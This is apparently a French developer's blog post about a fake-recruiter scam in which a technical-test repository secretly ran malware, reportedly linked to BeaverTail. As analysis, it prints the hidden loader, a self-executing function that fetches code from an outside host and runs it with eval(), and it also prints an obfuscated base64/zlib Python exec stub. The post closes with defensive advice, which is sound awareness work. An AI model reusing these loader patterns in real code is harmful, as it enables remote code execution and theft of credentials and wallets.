J’ai exécuté du code malveillant sur mon propre ordinateur — sans m’en rendre compte pendant un an

Il y a environ un an, j’ai été contacté sur LinkedIn par une personne se présentant comme recruteur pour une entreprise américaine.

L’entreprise existait réellement. L’opportunité semblait crédible.
Il m’expliquait qu’ils recherchaient un développeur Web3 pour implémenter de nouvelles fonctionnalités blockchain — rien d’inhabituel.

À ce moment-là, j’étais déjà en mission chez un client. Malgré tout, le poste m’intéressait, et j’ai décidé de poursuivre le processus.

Il m’a rapidement proposé un test technique à réaliser chez moi :

Cloner un repository, réaliser une petite tâche, enregistrer ma solution, et la lui envoyer.

Classique.

Un test technique tout à fait normal… en apparence

Le repository était hébergé sur Bitbucket et semblait parfaitement légitime.

La tâche était simple : utiliser ethers.js pour récupérer des données depuis la blockchain Ethereum. Avec des outils comme Infura, c’est trivial — peut-être même trop trivial.

J’ai cloné le repo.
Installé les dépendances.
Lancé le serveur.

Et là, quelque chose d’étrange s’est produit.

Le moment où j’aurais dû m’arrêter

Une popup est apparue, me demandant mon mot de passe système pour installer des composants supplémentaires.

Ça m’a immédiatement paru suspect.

Pourquoi un simple projet Node.js aurait-il besoin de privilèges élevés ?

J’ai refusé instinctivement.

Mais je ne me suis pas arrêté là.

J’ai continué le test, en me disant qu’il s’agissait sûrement d’un problème de configuration ou d’une dépendance un peu étrange.

Avec le recul, cette décision est dérangeante.

Car même sans donner les droits admin, j’avais déjà exécuté du code non fiable sur ma machine.

J’ai terminé le test… et raté l’essentiel

J’ai finalisé l’exercice et envoyé une vidéo de ma solution.

Mais le recruteur ne l’a jamais reçue.

Peu de temps après, son compte LinkedIn a disparu.

Aucune explication. Aucun retour.

J’ai essayé de contacter la plateforme, sans succès. Puis je suis simplement passé à autre chose.

Un an plus tard, j’ai compris

Récemment, j’ai reçu un nouveau message d’un “recruteur” cherchant un développeur Web3.

Mais cette fois, quelque chose clochait.

Dès le deuxième message, il me demandait mon moyen de paiement préféré — crypto, virement, etc. — sans même proposer un échange préalable.

Gros red flag.

Je l’ai bloqué et j’ai commencé à creuser.

C’est là que j’ai compris que ce n’était pas un cas isolé.

Un mode opératoire bien réel

J’ai trouvé plusieurs témoignages décrivant exactement le même scénario :

• Faux recruteurs
• Entreprises réelles (ou crédibles)
• Tests techniques hébergés sur des repositories Git
• Code malveillant dissimulé dans des projets en apparence normaux

Certaines de ces campagnes sont liées à des malwares comme BeaverTail, souvent associés à des groupes organisés.

Plusieurs rapports publics attribuent ce type d’attaque à des groupes nord-coréens ciblant les développeurs — notamment dans l’écosystème Web3.

Le principe est simple — et redoutablement efficace :

Amener un développeur à exécuter volontairement du code malveillant.

Ce qui se passait réellement en coulisses

En revisitant le repository, j’ai rapidement identifié des éléments que j’avais complètement ignorés.

Un point d’exécution caché

Le projet était un serveur Express classique avec plusieurs contrôleurs :

• auth
• blog
• brand
• category
• color
• product

Rien d’anormal à première vue.

Mais dans le contrôleur product, il y avait ceci :

const getCookie = asyncHandler(async (req, res, next) => {
    axios.get(`http://modilus.io/api/service/token/...`)
        .then(res => res.data)
        .catch(err => eval(err.response.data || "404"));
})();

Deux problèmes majeurs :

• La fonction est auto-exécutée → elle se lance dès le chargement du fichier
• Elle utilise eval() sur des données provenant d’une requête HTTP externe

Cela permet d’exécuter du code arbitraire récupéré depuis un serveur distant.

À ce stade, on n’est plus face à un test technique — mais à un vecteur d’exécution à distance.

Obfuscation et livraison du payload

Après avoir exécuté le projet, un fichier caché est apparu dans mon dossier personnel :

.npl

Son contenu était du code Python fortement obfusqué :

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'...'))

Schéma classique :

• inversion de la chaîne
• décodage base64
• décompression
• exécution

En clair : masquer le payload et l’exécuter discrètement.

Ce que le payload tentait de faire

En analysant une partie du code (dans un environnement isolé), son comportement devient plus clair.

Le script :

• effectue des requêtes HTTP (requests)
• tente de récupérer d’autres payloads distants
• référence un chemin secondaire (.n2/pay)
• cherche probablement à télécharger et exécuter d’autres composants

Même sans l’exécuter entièrement, cela suggère fortement :

• une attaque en plusieurs étapes
• des mécanismes de persistance
• de l’exfiltration de données

Dans des cas similaires, les cibles incluent :

• cookies navigateur
• identifiants enregistrés
• clés SSH
• variables d’environnement
• wallets crypto (MetaMask, etc.)

Une attaque partiellement bloquée

Le refus du mot de passe admin a probablement limité la suite de l’attaque.

Par exemple :

• aucun dossier .n2 n’a été créé
• aucun composant supplémentaire n’a été installé

Mais cela ne veut pas dire que rien ne s’est produit.

L’exécution initiale a bien eu lieu — et cela suffit à considérer la machine comme compromise.

Ce qui a probablement limité les dégâts

Avec le recul, j’ai eu de la chance.

• J’ai refusé les droits admin
• Je ne stocke pas de données sensibles dans mon navigateur
• Mes sessions expirent régulièrement
• Je n’avais pas de fonds importants sur MetaMask

Mais soyons clairs :

Exécuter du code non fiable est déjà un risque en soi.

La réalité inconfortable

Pendant un an, je n’ai pas réalisé ce qui s’était passé.

Quand j’ai compris, j’ai eu un moment de gêne.

Je suis développeur senior.
Et pourtant, j’ai exécuté du code non vérifié dans un contexte qui semblait légitime.

Il suffit de :

• un script caché
• un payload obfusqué
• un moment d’inattention

Pourquoi les développeurs sont des cibles idéales

Ce type d’attaque fonctionne parce qu’il exploite nos habitudes :

• on clone des repositories en permanence
• on fait confiance aux gestionnaires de dépendances
• on exécute du code rapidement “pour voir”
• on est souvent sous pression dans un processus de recrutement

Les développeurs sont entraînés à exécuter du code. Les attaquants le savent.

Comment se protéger

Voici les règles que j’applique désormais :

• Ne jamais exécuter du code non fiable sur sa machine principale
• Utiliser une VM, un conteneur ou un environnement isolé
• Inspecter les scripts (package.json, preinstall, postinstall, etc.)
• Se méfier de eval, du base64 et de l’obfuscation
• Ne jamais donner les droits admin sans comprendre pourquoi
• Vérifier les recruteurs de manière indépendante

Et surtout :

Si quelque chose semble étrange — arrêtez immédiatement.

Conclusion

En tant que développeurs, nos machines sont nos outils — et souvent notre moyen de subsistance.

Et pourtant, on baisse parfois la garde dans le pire contexte possible :
une opportunité professionnelle “crédible”.

Voici la règle que je suis désormais :

Considérez tout code inconnu comme un binaire inconnu.

Parce que parfois, ce “simple test technique” n’a rien de simple.

Si cet article peut aider

Si vous êtes en recherche — surtout dans le Web3 ou en freelance — restez vigilants.

Et si ce témoignage peut éviter à quelqu’un de faire la même erreur, alors n'hésitez pas à le partager.

Et si vous cherchez vraiment un développeur Web3…

Promis, j’exécuterai votre code — mais dans un sandbox cette fois 😄